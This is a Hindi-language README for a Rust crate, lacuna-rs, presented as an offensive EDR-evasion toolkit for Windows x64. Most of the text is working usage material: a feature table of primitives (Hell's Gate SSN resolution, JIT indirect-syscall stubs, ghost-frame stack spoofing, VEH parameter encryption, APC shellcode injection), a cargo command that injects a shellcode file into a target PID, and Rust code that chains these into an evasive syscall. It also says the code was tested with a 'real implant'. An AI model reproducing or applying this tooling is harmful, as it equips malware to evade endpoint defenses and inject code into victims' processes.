
Windows x64 पर ghost-frame call-stack spoofing, runtime indirect syscalls और APC injection के लिए Rust crate। यह EDR evasion के लिए SSN resolution, JIT stub emission और VEH-आधारित parameter encryption प्रदान करता है।
Ghost-frame कॉल-स्टैक स्पूफिंग + विंडोज x64 के लिए रनटाइम इनडायरेक्ट सिस्कॉल — Rust में पोर्ट किया गया।
Mohamed Alzhrani (0xmaz) द्वारा LACUNA Chain (lacuna_chain.c) से पोर्ट किया गया।
lacuna-rs एक पुन: प्रयोज्य Rust क्रेट है जो मूल C TTP के समान प्रिमिटिव प्रदान करता है, इसे इस प्रकार संरचित किया गया है कि इसे किसी भी Rust प्रोजेक्ट में डाला जा सकता है — जैसे wsyscall-rs या syscalls-rs, लेकिन रनटाइम SSN रिजॉल्यूशन, प्रति-फंक्शन syscall;ret टार्गेटिंग, और ghost-frame स्टैक स्पूफिंग के साथ।
stack-spoofफीचर चुपचाप विफल हो जाएगा यदि उपभोक्ता क्रेट फ्रेम पॉइंटर्स के साथ संकलित नहीं है।
chain.rs में स्टैक-स्टॉम्पिंग प्रिमिटिव mov rbp, {x} इनलाइन asm के माध्यम से कॉलर के रिटर्न-एड्रेस स्लॉट का पता लगाते हैं। इसके लिए RBP चेन बरकरार रहना आवश्यक है। Rust (और अधिकांश रिलीज़-मोड कंपाइलर) डिफ़ॉल्ट रूप से फ्रेम पॉइंटर्स को छोड़ देते हैं।
build.rs इस क्रेट के स्वयं के कोडजन के लिए force-frame-pointers=yes सेट करता है, लेकिन Cargo डाउनस्ट्रीम क्रेट्स में कंपाइलर फ्लैग प्रचारित नहीं कर सकता। आपको इसे अपने स्वयं के प्रोजेक्ट में जोड़ना होगा:
# .cargo/config.toml (YOUR क्रेट में, lacuna-rs में नहीं)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
इसके बिना, stomp_plant() RBP से कचरा पढ़ेगा और या तो कोई कार्रवाई नहीं करेगा (सर्वोत्तम स्थिति) या स्टैक को दूषित करेगा (सबसे खराब स्थिति)। क्रेट के पास यह पता लगाने का कोई तरीका नहीं है कि रनटाइम पर फ्रेम पॉइंटर्स सक्षम हैं या नहीं — यह बस काम नहीं करेगा।
यदि आपको केवल स्कैनिंग, SSN रिजॉल्यूशन, या इंजेक्शन प्रिमिटिव (स्टैक स्पूफिंग के बिना) की आवश्यकता है, तो आप stack-spoof फीचर को छोड़ सकते हैं और यह आवश्यकता लागू नहीं होती।
| प्रिमिटिव | C फंक्शन | Rust मॉड्यूल |
|---|---|---|
| PE सेक्शन + एक्सपोर्ट पार्सिंग | pe_section(), pe_export() | pe |
.pdata घोस्ट-रीजन स्कैनिंग | scan_ghosts(), best_ghost() | scan |
घोस्ट-गैजेट खोज (jmp [rbx]) | scan_ghost_gadgets() | scan |
win32u NOP-गैप ढूँढने वाला | win32u_nop_gap() | scan |
| BYOUD-MF एंकर ढूँढने वाला | find_mf_target() | scan |
| SSN रिजॉल्यूशन (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
प्रति-फंक्शन syscall;ret लोकेटर | find_func_syscall() | nt |
| JIT इनडायरेक्ट-सिस्कॉल स्टब एमिशन | alloc_stub() | stub |
| घोस्ट-गैजेट स्टब रीडायरेक्ट | (alloc_stub() में) | stub |
| VEH + हार्डवेयर-ब्रेकपॉइंट पैराम एन्क्रिप्शन | param_encrypt_veh(), pcrypt_arm() | veh |
| चेन-गार्ड VEH | chain_veh() | veh |
| LACUNA चेन निर्माण | build_chain() | chain |
| स्टैक स्टॉम्प (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| चेन वॉकर (सत्यापन) | lacuna_walk_chain() | chain |
| सेक्शन-आधारित APC इंजेक्शन | do_inject_sapc() | inject |
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
| फीचर | विवरण | क्या फ्रेम पॉइंटर्स आवश्यक हैं? |
|---|---|---|
syscalls (डिफ़ॉल्ट) | SSN रिजॉल्यूशन + JIT स्टब एमिशन | नहीं |
inject (डिफ़ॉल्ट) | सेक्शन-आधारित APC इंजेक्शन (inject::inject_sapc) | नहीं |
veh | VEH + हार्डवेयर-ब्रेकपॉइंट पैरामीटर एन्क्रिप्शन | नहीं |
stack-spoof | LACUNA घोस्ट-फ्रेम चेन + स्टैक स्टॉम्प | हाँ |
no-std | no_std मोड (प्रायोगिक) | नहीं |
जब कोई फीचर सक्षम नहीं होता है, तो केवल स्कैनिंग/PE/NT लेयर ही उपलब्ध होते हैं।
cargo run --example scan
cargo run --example verify --features stack-spoof
वास्तविक इम्प्लांट के साथ इंजेक्शन उदाहरण - C2 ऑफलाइन था लेकिन शेलकोड निष्पादित हुआ
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
VEH डायग्नोस्टिक आउटपुट (स्टैक डंप, रजिस्टर प्रिंट) सक्षम करने के लिए --verbose जोड़ें:
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
हर थ्रेड पर APCs को कतारबद्ध करने के बजाय (जो बहुत अधिक थ्रेड्स के एक साथ अलर्ट होने पर प्रक्रिया को क्रैश कर सकता है), inject_sapc सबसे अच्छे MAX_APC_THREADS (5) उम्मीदवारों का चयन करने के लिए स्कोरिंग एल्गोरिदम का उपयोग करता है:
NtQueryInformationThread(ThreadCycleTime) — प्राथमिक गतिविधि संकेतकNtQueryInformationThread(ThreadTimes) — कर्नेल + उपयोगकर्ता समयNtQueryInformationThread(ThreadSuspendCount) — गैर-निलंबित थ्रेड्स को +300 बोनस मिलता है; निलंबित थ्रेड्स को प्रति निलंबन गणना -150 मिलता हैNtQueryInformationThread(ThreadBasicInformation) — प्राथमिकता 8-10 वाले थ्रेड्स को +150 बोनस मिलता है; सीमा से बाहर की प्राथमिकताओं को -100 दंड मिलता हैपूरी तरह से निष्क्रिय थ्रेड्स (शून्य चक्र और शून्य CPU समय) को पूरी तरह से छोड़ दिया जाता है। शेष उम्मीदवारों को स्कोर के अनुसार क्रमबद्ध किया जाता है (उच्चतम पहले, समान स्कोर पर चक्रों के आधार पर टाई-ब्रेक) और शीर्ष 5 तक सीमित किया जाता है।
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// घोस्ट क्षेत्रों को स्कैन करें
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("ntdll में {} घोस्ट क्षेत्र", n);
// किसी विशिष्ट फंक्शन के लिए SSN + syscall;ret हल करें
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// SSN + फंक्शन के स्वयं के syscall;ret पते को हल करें
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT-उत्सर्जित स्टब: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (या jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret यदि build_chain कॉल किया गया था)
let stub = stub::make_stub(ssn, syscall_ret).expect("स्टब आवंटन विफल");
// उपयुक्त फंक्शन पॉइंटर प्रकार में कास्ट करें और कॉल करें
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// ntdll/kernelbase/wow64/win32u को घोस्ट क्षेत्रों के लिए स्कैन करें और
// छह-परत वाला नकली कॉल स्टैक बनाएँ। G_GHOST_GADGET सेट करता है ताकि स्टब
// हस्ताक्षरित DLL में JMP [RBX] के माध्यम से रूट करें।
lacuna::chain::build_chain();
// VEH हैंडलर पंजीकृत करें (पैराम एन्क्रिप्शन + चेन गार्ड)
let _veh = lacuna::veh::VehGuard::register().expect("VEH पंजीकरण विफल");
// वैकल्पिक: रनटाइम पर वर्बोज़ डायग्नोस्टिक्स सक्षम करें
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// घोस्ट फ्रेम्स लगाएँ (रिटर्न एड्रेस को हस्ताक्षरित DLL घोस्ट से बदलता है)
lacuna::chain::stomp_plant();
// syscall;ret पर DR0 को आर्म करें — VEH सीमा पर XOR-डिक्रिप्ट पैराम करेगा
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// इनडायरेक्ट स्टब के माध्यम से कॉल करें — RIP ntdll के अंदर कर्नेल प्रवेश पर उतरता है
let _status = unsafe { open_proc(/* XOR-एन्क्रिप्टेड पैराम */) };
// किसी भी गैर-सुरक्षित कॉल से पहले हमेशा निःशस्त्र करें
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();